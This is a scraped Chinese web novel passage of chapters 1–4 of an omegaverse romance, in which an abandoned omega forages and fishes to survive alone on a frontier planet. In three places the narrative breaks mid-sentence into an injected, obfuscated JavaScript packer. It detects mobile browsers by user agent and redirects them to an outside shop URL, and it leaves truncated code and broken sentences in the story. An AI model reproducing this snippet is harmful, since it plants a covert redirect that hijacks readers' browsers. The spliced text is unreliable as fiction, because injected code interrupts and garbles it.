《联姻对象是恶狼》 1. 第 1 章 轰—— 雷声炸开,数道紫色闪电划破黑夜,像是要劈开天空。 大雨顷刻间落下,哗啦汇聚成如瀑水幕,沉闷的雷声忽远忽近,轰隆隆怒吼。 电光闪烁,雨水似乎带上了电,黑暗的草丛里,有小兽来不及找躲避的地方,闪电亮起,照出小兽一身湿淋淋毛发陡然竖立的画面。 和原始荒野风格全然不同的小楼里,极端天气带来了恐惧。 暴雨猛烈,狂风呼啸。 黑漆漆的室内,时诺躲在被子里,他埋着头,整个人蜷缩成一团。 忽然,如同在耳边炸开的雷声刺响至极,捂着耳朵也无济于事,连心都在颤抖。 门窗紧闭,窗帘拉上了,但闪电光芒太盛,接连不断亮起,像是天在愤怒翻涌。 临近天亮的时候,雷电止歇,缩在被子里极度不安的时诺身体才放松下来,堪堪睡熟。 · 雨水沿着屋檐流淌下来,雨帘如倾泻而下的小瀑布。 风在吹,空气中都是冰冷潮湿的水汽。 大门开了半扇,时诺坐在小凳子上看雨,眉眼困倦。 阴云沉重,明明是上午,天暗沉沉的,在屋里找东西都得开灯。 屋檐前没有土地和杂草,铺了平坦结实的路面,像一条红褐色的带子,将小楼一圈都围起来。 路面材料中混了驱虫剂和驱兽剂,避免了大部分蛇虫和野兽的侵袭。 然而小楼是半成品,还没有建完,原本该是大型度假别墅一类的规格,但二层只有数道金属柱矗立,远远看去,像是数根尖刺。 好在有避雷和排水等各种保护系统,建筑坚固,足以抵挡外界的极端天气。 一楼完整,有宽敞的客厅餐厅和几个不大的房间。 时诺被送到这里已经十天。 二十天前,他被家里告知,享受了这么多年的养育,到他为家族履行联姻职责的时候了。 然而在得知联姻对象后,他犹豫,产生了抗拒心思,于是就被注射了镇定剂。 抵达这颗边缘星球后,那些人匆匆撇下他和一些物资,星舰底部连地面都没沾一下,就匆忙起飞,远离了这片原野。 时诺只知道,修·埃尔维斯从小就处于情况极不稳定之中,连人形都无法正常维持,又听说对方信息素紊乱,早就变成了彻底兽化的退化Alpha. 没人告诉他真实情况,因此他不理解,也没想通埃尔维斯家族的星舰到底在躲避什么东西,才显得如此着急匆忙。 明明这种中型星舰都有武器设备。 他想,或许是因为修·埃尔维斯再不受宠,甚至沦为大众口中的废人,也是埃尔维斯家族的血脉长子,不能随便伤害对方,为了避免真的起冲突,尽快离开对方的领地才是正确的。 Alpha天性中就有地盘意识。 埃尔维斯家族庞大、实力雄厚,嫡系血脉能得到的资源,是很多贵族和家族难以超越的。 修·埃尔维斯本该是埃尔维斯家族第一顺位继承人,从出生起就万众瞩目,但在九岁时患上基因紊乱症。 基因紊乱综合征是兽人Alpha中常见的病症,野兽和人类的基因同时存在于体内,本就复杂无比,病因病情因人而异,医疗技术在进步,如今一部分病症可以彻底治愈。 然而大约有百分之十的基因紊乱病难以根治,患病Alpha要么用药物压制痛苦继续生活,而更多的,会在基因崩溃后死亡。 修·埃尔维斯十五岁彻底兽化,还有狂化的迹象,在一次伤人后,被埃尔维斯家族送到了这颗星球上。 从此这颗星球就成了对方的领地。 时诺家里只是个小贵族,他甚至都不知道家里是怎么和埃尔维斯搭上关系的,恍恍惚惚在这里待了几天后才明白。 修·埃尔维斯二十五岁,到了适婚年龄,哪怕是这种情况,埃尔维斯家族也会找个Omega和对方结婚,这是他们嫡系血脉该有的规格和待遇。 他就是时家用来搭上埃尔维斯家的“关系”。 修·埃尔维斯没有生病之前,是一个基因无比优秀的Alpha,信息素值达到了顶级的S级。 能特地找联姻对象送来,对方肯定活着。 只是病了这么多年,以埃尔维斯家族的能力还没治好,紊乱症一定很严重。 可对方撑了这么多年…… 时诺突然明白了顶级Alpha生命力的强悍。 · 大雨如注,落在地面汇聚成河流,朝地势较低的西边奔腾流淌。 轰鸣雨声响个不停,水汽飘湿了门口,时诺起身,上前将敞开的半扇门关紧。 外面的声音被隔绝一些,耳畔瞬间静了静。 室内昏暗,时诺打开客厅灯。 客厅餐厅都很大,可以想象,如果按计划进行建造,最终会是一栋无比奢华宽敞的别墅小楼。 现实的差距也很大,呈现在时诺面前的,是空荡荡的客厅和不远处空荡荡的餐厅,没有配套的沙发茶几和任何装饰。 客厅里只有一个灰色的单人沙发,已经有点旧了,沙发罩子前几天被他洗干净,客厅地面铺了一张巨大的兽皮地毯,柔软厚实,同样是灰色调。 兽皮是他从地下储藏室翻出来的,密封保存,没有落灰也没有潮湿,他费了很大的劲才拖上来。 铺好后,常年无人居住的冰冷房子看起来有了一点暖意。 餐厅那边一张长桌,六把椅子。 整个一楼都没有多少装修痕迹,好在墙面地面平整结实。 他到以后,开启了房子的智能系统,发现系统可以运行,现在每时每刻都保持着恒温调控和消毒功能。 这是最幸运的事,在室内不用担心温度变化带来的伤害。 时诺刚到这里的时候就查看过日志记录,原来房子是在十年前修·埃尔维斯被送到这里时开始建造的。 对方好歹是曾经的继承人,到了无人星球,总得有个居住的地方。 只是后来不知怎么,匆匆盖好一楼就撤走了,这十年也没有派人过来继续建造修缮。 维持房子智能系统运转的能源来自能量晶石,埃尔维斯家给他留下的物资中就有一袋,有二十颗,在地下室他翻到了一大袋,大约一百颗左右。 一颗能量晶石放入运行装置内,能量转换为电力,可以为房子所有设备的运行提供两个月电量。 水也是不缺的。 五里之外就有一条大河,离得较远,时诺没有去过,只是在智能系统的地图中见过。 地下埋了供水管,在输送到房子后,会先经过净化装置,水质不用担心。 不缺水电,不缺能源,只要不出门,似乎就可以一直在这里生活下去。 时诺窝在沙发里,比起二十天前,他明显瘦了,脸色也苍白,原本漂亮的眼睛有了几分憔悴,眉间染上郁色,总一副出神的模样,垂下眼睫越发显得可怜忧郁。 过了很久,外面雨声慢慢变小,他起身往厨房走。 墙内冷储柜打开,分为冷藏区和冷冻区,蔬菜、水果和肉类都有,量看着也挺大。 然而这些是他两个月的全部口粮,吃完就没了,只能等人从别的星球运输投送。 刚抵达这里的时候,星舰上一个埃尔维斯家的管家告诉他,第一批物资会在一个月后到来,等这次之后,物资每三个月会使用无人飞行舰投送一次。 这颗星球上空发射了一颗通讯卫星,可以连接星网,管家也告诉他,如果有什么想要的东西,在合理范围内,提前半个月联系对方就行。 等时诺真正住进房子,打开光脑后才发现,通讯信号断断续续的,想要向其他星球发送信息很艰难。 夜晚他看见头顶天幕闪烁着无数血红光点,明白了原因,这颗星球处于星系最边缘区域,通讯卫星受到了星空中的潮汐风暴影响,信号很弱。 不知道这场潮汐风暴会持续多久,他能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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遭到攻击的变色生物来不及模拟环境,在半空中显出原形,是一条扁平的小蜥蜴,浑身覆盖绿色鳞片,掉进地面雨水中,很快又和环境融为一体。 时诺透过玻璃看到,他很少面对这些爬虫,不免有些腿软手软。 幸好,在蜥蜴爬进来之前,智能系统检测到生物有侵入意图,自动从窗户旁边的墙壁中喷出气流。 时诺打开左手腕上的腕带式光脑,尽管连不上星网,但光脑自带的一些功能可以使用。 短距离扫描功能开启,发现厨房里没有任何动物进来,这才放心。 房子是半成品,但智能系统的保护装置很全面,可以自动分析周边环境,也会自主推算相应的防御措施。 平时有外面的路面充作隔离带,蛇虫和野兽会被气味驱散,很少有东西会靠近房子。 时诺抬头看向外面的雨,或许是因为下雨,冲淡了驱兽剂的气味,不过等太阳出来后,驱兽剂被晒热,又会挥发出各种动物极其讨厌的味道。 平静一会儿后,时诺努力让自己安心,洗了好几遍刀和手,最终还是把刀放进了一个储物格中,刀具还有大的和小的各一把,足够使用。 餐桌上,热气腾腾的小锅端上来。 坐下后,时诺打开小锅的开关,锅里的水咕嘟咕嘟,肉片和青菜浮起,豆腐煮的恰到好处,又嫩又滑,味道咸香鲜美。 热食下肚,驱散了从身体里透出的寒冷,带来些许慰藉。 · 时间变成时诺最不缺的东西。 他什么事都没有,只需要清扫自己的活动区域,在饿了的时候给自己做一顿饭。 雨下了三天才停,这期间他一直牢牢关着对外的门窗,防止有动物进来。 太阳出来后,果然,再没有动物靠近,驱兽剂的持续效果显然不错。 时诺始终都记得管家的话,然而二十天后,到了管家说的一个月,他没有等来投送的飞行舰。 以为只是耽误了,他耐心等待,做饭时下意识俭省了一些,他不干活,也不怎么外出,吃饱和半饱没有区别。 第三十二天,天空中没有任何动静。 第三十五天,依然没有飞行舰出现。 来到陌生星球的第四十天,时诺终于死心,没有人会给他送食物,他被抛弃了。 2. 第 2 章 时诺收回目光,不再凝望天空。 他转身回到房子里,关上结实厚重的金属大门。 门锁机括发出特有的落锁机械声,是他夜晚睡觉的安全感来源。 客厅太大太空,他进了房间。 一楼的几个房间因为客厅和餐厅占据了大半,面积都比较小,一般用来做佣人房和储物间,按这栋房子的规格,房主的房间应该在二楼及以上。 时诺给自己挑了一个向阳的房间,比他以前在家里住的卧室要小很多,但小一点很好,不至于太空旷,一个人住着害怕。 卧室门关上,他握着门把手在门后站了很久才回过神。 阳光从玻璃外照进来,落在窗下的床上,将被褥枕头晒出暖意。 他躺在床上,胳膊挡住眼睛,很快,袖子的一小块布料变得湿润。 时诺没有发出声音,眼泪很快止住,他翻个身,侧脸紧贴枕头,手放在脸旁,微红的眼睛里尽是迷茫和无助。 直到太阳光变得黯淡,他才恍然察觉下午了,饥饿感随着回神出现。 到厨房拿出一支营养剂,站在原地喝完,时诺将空了的剂管扔进处理器中,机器发出轻微的嗡鸣声,粉碎分解了剂管。 饱腹的感觉足以支撑二十四小时,和他一起被抛在这颗星球上的营养剂有三十支,作为应急口粮,可以撑一个月之久。 时诺又打开墙内冷储柜,冷意扑面而来。 鲜肉已经吃完了,冷冻区的肉还有五块,蔬菜和水果还剩二十几天的量,再加上半罐还剩五六斤的米,几小袋干菜干肉,节省着吃,说不定可以撑四五十天。 所有东西加起来也只够两个多月,两个月之后呢,又该怎么办。 时诺拉上墙式柜门,视线在厨房扫一圈,台面干干净净,多余的东西实在没有,地下室他之前翻过,除了一些杂乱的东西,没有任何食物。 他看向窗外,唯一的办法,就是在外面寻找吃的东西。 这颗星球是一颗没有开发的资源型星球,可食用植物应该不少,只要找到能吃的野菜和野果子,就不怕饿死。 至于小型的可食用动物,时诺想了一下,自己的实力,似乎连兔子都抓不到,只得先放弃。 今天有点晚了,等明天早上再出门。 每天一到下午,太阳慢慢沉落,他心里总有种说不清的恐慌,只愿意待在室内,万一在外面耽误久,天就黑了。 回到卧室,时诺先揭了床上的薄被和床单,连同枕头抱着到隔壁洗衣房,塞进清洗机里。 刚要合上机门,他想了一下,将身上的套头睡衣和裤子直接脱下,一同塞进去。 没有物资送来,洗衣露用一点少一点,睡衣和被子完全可以一起洗。 来到这里半个月后,他很少出大门,也没人管束他的失礼,他经常穿着睡衣。 单薄的白皙身体展露,几乎没有任何瑕疵,肌肤白而细腻,腿直腰细,瘦却不干瘪,比例完美,纤弱但漂亮至极。 脸也是过分的漂亮,唇瓣淡粉,鼻秀眸清,微仰头时会露出小巧精致的喉结,眉眼染着惶恐和郁色,显出几分怯弱感。 回到卧室,时诺进了浴室洗澡。 这里没有配备专用的小型清洗机,内裤只能手洗晾干。 水流冲干净身上泡沫,时诺抬手在墙壁上摸索,关掉水后,又打开热风按钮。 天花板和两边墙壁吹出热风,很快,身上水迹和头发被吹干,他换上干净衣服出来。 太阳斜照,还没到落下的时候。 阳光从西边窗户照进来,柔和耀眼。 时诺铺好干净床单,又从墙柜中拿出另一床薄被和枕头,窗子开着透气,有风吹进来,合拢的纱帘和窗帘轻轻摆动。 这间房窗户大,南面和西面都开了窗,光线很好。 窗玻璃看起来是一体的,透明平整,没有框条分割,向外的视野很好,实际也可以打开,只是框条做的隐形。 玻璃是一种特殊的晶石,极端天气下也结实抗造,是很多星球常用的材料。 铺好床后,时诺将窗户关小了一点,拉上纱帘,靠着床头坐好,打开光脑查东西。 床是靠着墙夹角放的,床头对着南边墙壁,床内侧紧靠西边窗下的墙。 床头宽度和南边墙壁一致,正好到南边的窗户边沿。 而南边窗户另一边,靠窗放了一张小书桌和一把椅子,桌面干干净净,只放了水杯。 床不算大,两个人挤一挤能睡下的宽度。 整个房间简单极了,一张床和窗边的桌椅,再看不见其他东西。 浴室和床尾之间有大约一米的空间相隔,衣柜嵌在床对面的墙内。 几个淡蓝色的虚拟屏幕浮现在时诺面前,这是他从房子的智能系统中找到的资料和记录。 建房子的时候对周边环境做了侦测,一些动植物被记录过,其中有几样标注了可食用。 他的光脑没下载过星际植物录,潮汐风暴还是没结束,信号断断续续,想在星网上查什么很艰难,幸好看到了这些。 · 房子附近两三百米没有任何大型野兽,出来以后,时诺开启了光脑的短距离扫描功能,确认自己身边十米以内没有任何威胁才放心。 野菜比较好找,绕着房子找一圈,他就发现了两种可食用野菜。 一种是红色茎杆,深绿色叶片,另一种是圆形绿色叶片。 他仔细和光脑上的照片对比,确认茎秆颜色,叶子的正反面脉络走向,以及花瓣的形状颜色都相同之后才敢连根挖出来。 他很谨慎,先挖了两株完整的,回到房子,利用地下室一个甄别装置判断是否可食用。 这个装置附带在净水装置上,应该是用来侦测、记录水质中的各种微生物。 他昨晚看过系统资料,这其实是一个全能甄别器,除了水中微生物以外,还可以判断识别许多草本植株甚至肉类。 全能甄别器质感很强,一看就知道价格昂贵,时诺在装置外侧看见了属于埃尔维斯家族的产业标志,就没那么惊讶了。 资源型星球一般都会有开发计划,当初来这里建造的人,应该也有探索和侦测任务,所以智能系统的资料库中才留下了附近一些动植物的记录。 光脑轻微振动,弹出来的光屏上显示了甄别结果,无毒,全株可食用,是已经记录过的植物。 时诺放下心,又把第二种野菜放进去,结果是一样的,他没有找错。 拎着一个小桶出门,八点多的太阳光线没那么强烈,风吹个不停,树影婆娑。 房子附近绿意蔓蔓,没有经过任何修剪规划,野草肆意生长。 离房子近的地方有伐过树的痕迹,不然别墅场地不够开阔,只是过了这么多年,又有树苗陆续长高。 房子东边和北边远一点的地方,都有或密或稀疏的树林,是时诺夜晚不敢看的方向,生怕里面会窜出什么怪物。 好在他从没听到过怪叫,白天也没见过野兽的踪影,想来选址的时候就有过考虑,这片区域应该没有危险生物或者中大型生物存在。 时诺胆子着实不够大,太晚不敢出门,太早也不敢出门,等太阳出来后,天色大亮,才敢外出找东西。 他在草丛中到处寻找,半腿高的草丛根本不敢靠近,生怕里面藏了什么蛇虫鼠蚁。 有时用光脑扫描一遍,就可以看见热成像提示,里面有小型生物存在,他便远远绕开,只在草木低矮的地方转悠。 好在这两样野菜分布比较多,没过多久,他挖了满满一桶提回去。 收获让时诺莫名有几分高兴,高低不平全是草和土块的路不觉得难走了,这是他第一次自己在野外找到吃的。 回到房子,他没有立即进去,低头看一眼鞋子沾的土和草屑。 他将小桶放在门外,打开大门后,伸长胳膊够到门里的小凳子,随后坐在门外择菜。 根看着老,还带着泥土,掐掉不吃,老叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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漱口后,时诺为难地看着红杆野菜,不知道要一个人生存多久,这是确定可以食用的野菜,而且野外很多,有数量优势。 他又用筷子夹起一根,这次只尝了两片叶子,还好,叶子不酸,不过也没什么味道,口感就是普通的绿叶菜。 尝了几口后,他决定以后只吃叶子,茎杆就不要了。 · 兴冲冲挖了几天野菜,还用甄别器发现另外两种可以吃的,一种嫩尖口感不错,随便煮煮就能吃。 另一种是藤蔓上的大叶片,叶片厚实,尝试煮了好几次,时诺才找到最合适的时间,得煮十五分钟以上,叶片就不那么硬,适合切成丝。 发现附近没有危险动物以后,他大着胆子向外面探索,走到更远的地方找野菜。 这种新鲜感在一次抬头看到空中的飞鸟时,突然消散。 平坦的原野如绿色海洋,宽广至极。 树木稀疏,草十分茂盛,草丛中几颗红色的小野果挂在植株上,随风摆个不停。 时诺提着小桶,天蓝而空旷,一群飞鸟翱翔,远处青山绵长。 他忽然清晰地意识到,自己一个人要在这颗星球上待很久,连什么时候会被接回文明社会都不知道。 或许是永远不会。 大风吹拂,衣衫鼓起。 高低起伏的绿草被吹得倾斜伏倒在地。 听不到任何人声喧闹,更没有机器嗡嗡作响。 一阵阵风连绵不绝,耳边只剩下草丛和树木簌簌而动。 天地一片寂然。 时诺眉眼怔愣,回过神后满目皆是惶然,他低头拎着小桶往回走。 · 大风呼啸,吹过时诺衣摆,吹过寂寥的原野。 风从Omega身边掠过,沾上一缕信息素飘远,跨过河跃过湖泽,飘荡至遥远的幽密山林中。 巨石上,沉睡的白色野兽睁开眼。 3. 第 3 章 灶口转了低温,小锅里的粥散发出浓郁米香,时诺将腌好的肉条倒进炒锅翻炒。 肉很少,炒熟装进小碗里,堪堪只有半碗,酱汁散发出咸香味道,再加上熟肉的香味,馋得他直咽口水。 小半碗肉,一碗米粥,一大盘煮熟了的野菜,就是他的午饭。 一大口野菜下肚后,时诺才夹起一筷子肉慢慢咀嚼。 食物每天都在消耗,原本每天都吃一点肉,变成了现在的三天吃一次,每次量也不多。 即便如此,五块肉只剩下三块了。 从意识到自己被放弃的第四十天到现在,他又独自生活了将近二十天,幸好之前就有了节省的意识。 像这样俭省着吃,肉量还可以坚持一个多月。 和菜不同,想补充肉很难,他曾经试过抓小动物,可惜根本追不上,挖的小型陷阱也没任何收获。 在听到树林中有鸟叫的时候,他试图爬树偷几个鸟蛋吃,然而鸟类能做窝的树大部分都是高而直的,他够不到可以借力的树枝。 没怎么干过活的手在粗糙的树干上磨红磨破,腿脚根本找不到爬树的要领,最后只得狼狈往回走。 好在有大量的野菜可以填饱肚子。 他早上八点左右出门,寻找采挖各种野菜,离得近的话,一个小时左右就能拎着两个小桶回来,回来后先坐在门口小板凳上择菜,弄干净才进去。 附近的野果子很少,偶尔才能在草丛中找到能吃的一种红色浆果。 肉吃完,时诺舀了几勺米粥在肉碗里,肉碗里有剩下的酱汁,拌粥吃很香。 一顿饭下来,碗里盘子里什么都没剩。 洗完碗筷收拾好厨房,时诺打开储物柜,他想了下,从里面拿出一小袋蔬菜干,倒出来用水泡着,等晚饭的时候炒了吃。 野菜量大管饱,有着别样的风味,可一旦吃多了,连着十几天,就算用不同的调料换口味,再好吃都觉得口中寡淡难言。 干菜泡好,时诺拎起厨房地上的两个小桶,放在大门口。 看一眼外面的大太阳,很热,地上野草蔫嗒嗒的,他转身回卧室午睡小憩。 之前他每天早上出去一趟,挖够一两天的野菜就回来,有时会多跑一趟,趁着中午太阳大晒一点菜干,但前天晚上睡觉的时候,他忽然发现夜风变凉了。 或许这颗星球会进入下一个凉爽的季节,也有可能是要进入秋季。 季节变化带来了一丝紧迫感,智能系统中只有周边环境的监测,对整颗星球的探测尚未开始,因此他不知道这里都有什么季节。 这两个月天气还算适宜,外出可以穿夏天衣服,有时下过雨,长裤和外套就足够,他心想应该属于夏季。 如果有四季交替,也许现在正是夏末秋初,一旦冬天或食物匮乏期来临,是很严重的事,他必须囤积食物,眼下最容易得到的,就是野菜晒成的干菜。 从昨天开始,时诺上午和下午都会出门挖野菜。 对周围的探索让他渐渐放了心,这附近没有什么野兽,只有一些警惕的小动物,听见动静就会跑远,鸟类也没有凶残型的。 再加上对食物的迫切需求,他不再害怕下午出门,只要赶在日落前回来就好。 · 最热的时间段过去,时诺睡醒,洗把脸就拎着小桶出了门。 和晚上不同,白天热意依旧,时不时吹来的风驱走炎热,带来阵阵畅快的凉意。 为躲避阳光,时诺往树林走,尽量挑着草矮的地方。 出门找野菜这么久,他没见过蛇鼠,只有一些虫子出没。 甲壳类还好,即便体型大也不会过于让人不适,但一些蠕动的软体虫子,甚至散发出一种臭味,着实让他不敢靠近,每次看见都觉得手脚发软头皮发麻。 幸好鸟类是这类蠕虫的天敌,他不止一次见过,露出深草丛的虫子被俯冲下来的小鸟叼走吃掉。 小鸟毛绒绒圆滚滚,蓝色的羽毛分外漂亮,在时诺眼里,吃虫子的小鸟就更可爱了。 一株株野菜被连根拔起,抖抖根系上的土,才丢进小桶里。 遇到根系发达需要费力气的,时诺试一下就放弃,他觉得这种长太大的野菜,肯定长老了,不好吃。 他出来总带着蓝绿两个小桶,蓝色小桶外壁用结实的固定器固定了一把窄刀。 有的地方土壤坚实,野菜不好拔,用刀尖松一松土,就好办多了,带着刀出门,也是为了防身。 忙忙碌碌好一阵,不断蹲下或弯腰,到处寻找野菜,直到他挖完一小片圆叶野菜,蹲在地上一抬头,看见十几步之外的树上,一只五彩斑斓的大蜘蛛垂着蛛网吊下来。 光脑扫描范围只有周围十米,他刚进树林的时候探测过,但一边移动一边挖野菜,忙起来忘了时间和距离。 蜘蛛有他手掌那么大,浑身彩色,看起来就有剧毒。 时诺没有发出声音,只有脸色变白,他双手握紧桶环,悄悄站起来,尽量放轻脚步往后退,发现蜘蛛对他没有表现出攻击性后,这才敢转身,拔腿就跑。 一口气跑出树林,发软的腿脚踉跄一下,他回头看一眼,蜘蛛没有追出来,才敢大口呼吸。 漂亮的Omega眼中带着泪光,急促地呼吸,因恐惧,颈后腺体不自觉发散出信息素。 他之前随身带的信息素抑制贴没有被收走,跟着一起到了这里,忘了从什么时候起,他再没往后颈贴过。 这里除了他以外,一个人都没有,即便信息素偶尔不受控逸散出来,也不会打扰到任何人。 至于修·埃尔维斯,是根本指望不上的存在,他在周围探索这么久,连对方的踪影都没见过,属于Alpha的信息素也没有任何残存。 直觉告诉他,对方离开这里很久了,最起码有几年以上,至于现在在哪里,他没有寻找的心思。 Alpha彻底兽化意味着退化,失去作为兽人中“人”的一部分,最终会沦为和野兽无异的兽类。 一整颗星球的领地,过于浩瀚庞大,对方极有可能早就跑到离这里很远很远的地方。 平息好情绪,时诺抬起胳膊擦擦眼泪,他两手上都是泥,见两个小桶差不多满了,就往回路走。 到房子以后,他在门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682620|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外脱下脏鞋,拍拍裤子,先进屋洗干净手脸,倒了杯温水喝。 歇息过后,时诺把小桶里的野菜都倒出来,堆在门外。 外面到处都是草,不会有任何生物偷他的野菜。 趁着天色还亮,他拎着两个小桶又往外走,这次没有进树林。 · 门外,餐厅的六把椅子都搬了出来。 椅子上放着各种大盘大盆,还有时诺从地下室翻出来的金属板,大约六十厘米宽一米长,正好把焯过的野菜放在上面晾晒。 盘子和盆里也都是野菜,时诺这些天不止挖野菜,怎么晒野菜干也做了不少试验,有的洗干净晾晒就行,有的得焯熟再晒,不然泡开后再煮熟,口感很涩很涩。 这费了他好几天时间,好在摸清了现有的几样野菜。 晌午太阳大,野菜两三天彻底晒干,就能装进袋子里存储起来。 袋子有几个是现成的布袋,还有装物品的合成材料袋,他洗的干干净净,晾干就用了起来。 发现袋子不够后,这里又没有地方买,他从地下室拖出之前包裹大地毯的防尘布。 防尘布坚韧,他费了很多力气裁剪,缝成几个粗糙的大袋子,这里储物间和地下室都有,随便放在哪里,不怕占地方。 不知道寒冷季节什么时候到来,也不知道会持续多久,食物需求依旧是迫切的。 时诺总觉得即便这些袋子都装满也不够。 他打开一间储物间,查看了里面的墙式储物柜后,决定把储物柜都擦干净,这些都能用来放野菜干。 大不了,储物间的地上也可以堆放,吃的时候洗干净就好了。 他站在房里想象,一整个储物间都堆满野菜的话,应该能度过很长的食物匮乏期。 天天吃的看的都是绿色野菜,过于单调。 时诺在这方面经验太浅薄,这两天才想起一些根茎类植物也能食用,蒸熟煮熟,那种软糯的口感,让他实在想念。 踏入星际时代以后,进化发展到如今,适合人类生理的食物,以及每个宜居星球上最基本的原生食物类别,依旧是动植物,没有太大变化。 宇宙中存在一些特殊的种族,有的以直接吸收能量为食,有的食谱特殊。 人类曾经尝试过,但生理机能不同,无法转化能量,一些特殊的食物,要么不符合口味,要么在性价比方面不划算。 时诺听说过,军部研发出好几种高能量食物,很少一点就可以饱好几天,这种食物无疑造价昂贵,除了军部需求以外,无论普通人还是生活优渥的贵族,根本用不到。 不知道是不是季节不对,他这几天拔出很多种草和藤蔓,都没找到可食用的根茎,只能每天都找找看。 野菜已经装了大小好几个袋子,隔几天就有补充,这种积攒让人心里不由得放松。 时诺最想的其实不是根茎类,而是肉。 再一次被类似兔子的小动物甩掉之后,他想起五里之外的那条大河。 这颗星球被划分为资源型星球,河里应该有丰富的鱼类,就算离得有点远,他还是决定过去看看。 4. 第 4 章 光脑里有从房子系统中复制的地图,打开地图跟着指示方向走,就不会迷路。 只是这里根本没有路,平原看似平坦,实际只是被高高低低的野草覆盖,土块土洞到处都是,崎岖不平。 有的地方低洼泥泞,不小心踩进去,鞋底全是泥,走得越发艰难。 大概五十多分钟后,时诺到了大河之畔。 他拎着自己的两个小桶,桶上依旧固定着菜刀。 还没到跟前的时候,他就听到隐隐约约的水声轰鸣。 声音从上游传来,地势落差让那边形成一个小水瀑,落差度不高,但河面宽广,水量水声就显得不同寻常。 时诺面对着这条宽阔大河,河水奔腾流淌,浩浩荡荡,在广袤的原野穿行不息,根本看不见要流向哪里。 他站在河边,只觉绿色的荒原大到难以走到边界,自己渺小到连这条河水都越不过去。 风依旧在吹拂,草木呼呼作响。 这里水汽湿润,能闻到水腥气和草腥气。 时诺第一次过来,目光遥遥望向远方。 直到听见“哗”一声,他转了目光,从水里跃出一条大鱼,又掉下去,溅起很大的水花。 真的有鱼! 鱼肉细嫩,怎么做都好吃,还可以熬鱼汤,白汤香浓,厨房里调味料还有不少,足够去掉鱼腥气。 只是那条大鱼离河岸很远,完全够不到,他只能遗憾舔舔嘴巴。 自己没有渔网,不过有小桶,时诺往水流平缓段走,找了一处湿泥不多的岸边,他站在一块平稳的石头上,低头仔细观察河水。 太阳照射下,水面波光粼粼,浅水处很清澈,能清楚看见里面的水草和游动的鱼儿,甚至还有小虾和青色的水螺。 从没下过水捞鱼,时诺蹲下,拎起绿色小桶往水里慢慢浸,他握着桶环没有动,耐心等待着,幸好河水不冷。 眼瞅着真的有一条巴掌大的小鱼往桶里钻,他欣喜至极,鼓足了劲就拎着水桶往上提,可装满水的桶太沉。 小鱼受惊,在水桶出水前飞速逃走。 他另一手试图去抓,但连尾巴都没摸着。 至于水底的小虾和水螺,如果不下水,根本够不到。 时诺蹲在石头上,盯着水里欢快的游鱼看了好一会儿,要是有网就好了。 可他也不知道怎么用渔网。 之前看过智能系统的记录,这条大河被检测过,水质属于优质的A级,鱼虾绝对是可以食用的。 蹲在岸边根本摸不到鱼的影子,只能下水试着抓。 时诺起身,见不远处有小树,于是过去用刀砍下一根树枝,费力气削掉多余的枝叶,他看一眼手里笔直的树枝。 原本是想戳戳浅水底的泥沙,看看能不能下水站在上面,他想起还可以叉鱼,于是就用刀把树枝的一头削成尖的。 站在石头上,他用树枝戳向河底泥沙,搅起一阵浑浊。 见没有凶猛的鱼藏在沙底,也没看见水蛇的踪迹,时诺这才壮着胆子脱了鞋挽起裤管,小心翼翼踩进水里。 还好,脚下泥沙因为他的体重微微陷进去,但没有坍塌,看来底下是实心的。 有小鱼从小腿旁边游过,他把树枝插在旁边,连忙弯腰去抓,但除了溅到水,什么都没捞着。 他不死心,又去抓小虾。 河里的虾速度异常快,在察觉到危险后,摇摆着就窜进水草深处,再看不见。 连水螺都藏了起来,时诺等水面平静,再次凝神紧盯,就发现这处浅水里什么东西都看不见了。 莫名的,他有种被盯上的感觉。 喉咙微动,他神色带着一点恐惧,微微侧头。 深水那边的水面上,一条青黑色大鱼浮在水面一动不动,只露出鱼头。 他见过的大部分活鱼眼睛都很呆滞,然而眼前这一条鱼,黄褐色的眼珠透着一股冰冷感,直直盯着他。 像是看猎物的眼神。 时诺来不及拔起树枝当武器,一瞬间就逃上岸。 在他动的瞬间,青黑色大鱼一跃而起,张开狰狞的鱼嘴,露出满嘴森白利齿,借助弹跳在半空中追上他。 时诺为躲开利齿,狼狈往旁边退,结果从石头上摔下去,滚落在地。 虽然狼狈凄惨,但好在甩开了大鱼的攻击。 他看见大鱼落在石头上,鱼头竟然还朝着他一张一合,发出咔咔的啃咬声,试图咬他。 但不等他作出反应,大鱼扭动身躯,极快滑回了水中,青黑色的身影很快隐匿在深水处。 时诺惊魂未定,坐在地上好一会儿都没起来。 鞋子和小桶都在石头上,他爬起来,幸好摔下来的时候没崴到脚,只是左小腿外侧蹭到石头圆钝的边缘,蹭破了一点皮,没有出血,只红了一片。 时诺快速伸手,拎着小桶和鞋子远离岸边。 他想回去,但腿上脚上都沾了土,混着水迹成了脏污的泥,还有草屑沾着。 他小心翼翼看一眼河面,没有发现大鱼,于是慢腾腾往前挪。 见浅水处的鱼虾又游了出来,仿佛刚才什么都没发生,这才赶紧用小桶提了半桶水,头也不回离开。 他坐在一块远离岸边的白色大石头上,洗净腿脚,水迹干了之后才穿上鞋,匆忙离开了大河。 · 捕猎、抓鱼都以失败告终,好在冷储柜里肉还有两块,没有到真正没肉吃的地步。 滋啦—— 五六片肉下锅,翻炒出香味后,时诺给锅里添了水,等肉片汤煮开后,把野菜倒进去。 